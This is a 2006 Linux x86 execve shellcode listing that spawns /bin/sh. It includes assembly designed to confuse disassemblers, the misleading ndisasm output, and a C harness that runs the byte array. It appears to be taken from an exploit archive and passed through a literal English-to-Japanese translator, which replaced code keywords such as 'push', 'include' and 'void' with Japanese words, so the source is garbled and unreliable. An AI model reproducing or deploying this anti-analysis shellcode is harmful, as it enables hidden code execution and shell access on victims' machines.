このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* execve() shellcode with 'fuck up disasm' ability, 32 bytes long by BaCkSpAcE [sinisa86(at)gmail(dot)com] BitByterz Labs 2006 http://www.bitbyterz.org ; ; shellcode.asm ; fupdisasm: db 0x68 ; opcode for PUSH DW 指示/教授/教育 db 0xcd ; crypt+1, opcode for INT 指示/教授/教育 db 0x80 ; interrupt number (80 in this 事例/患者) db 0x68 ; crypt+3 db 0x68 jmp fupdisasm+3 db 0x68 ; MAGIC_BYTE: this byte makes disasm go crazy ; our shellcode which we want to hide 押し進める byte 11 pop eax xor edx, edx 押し進める edx 押し進める 0x68732f2f 押し進める 0x6e69622f mov ebx, esp 押し進める edx 押し進める ebx mov ecx, esp jmp fupdisasm+1 ; jumps on 演説(する)/住所 where is hidden int 0x80 backspace@bitbyterz# nasm shellcode.asm backspace@bitbyterz# ndisasm -u shellcode 00000000 68CD806868 押し進める dword 0x686880cd 00000005 EBFC jmp short 0x3 00000007 686A0B5831 押し進める dword 0x31580b6a 0000000C D25268 rcl byte [edx+0x68],cl 0000000F 2F das 00000010 2F das 00000011 7368 jnc 0x7b 00000013 682F62696E 押し進める dword 0x6e69622f 00000018 89E3 mov ebx,esp 0000001A 52 押し進める edx 0000001B 53 押し進める ebx 0000001C 89E1 mov ecx,esp 0000001E EBE1 jmp short 0x1 Find difference between 初めの and dissasembled shellcode ;) */ #含む <stdio.h> #含む <string.h> char shellcode[] = "\x68\xcd\x80\x68\x68\xeb\xfc\x68" "\x6a\x0b\x58\x31\xd2\x52\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; main() { 無効の (*fp) (無効の); fp = (無効の *) shellcode; printf ("%d bytes\n", strlen(shellcode)); fp(); }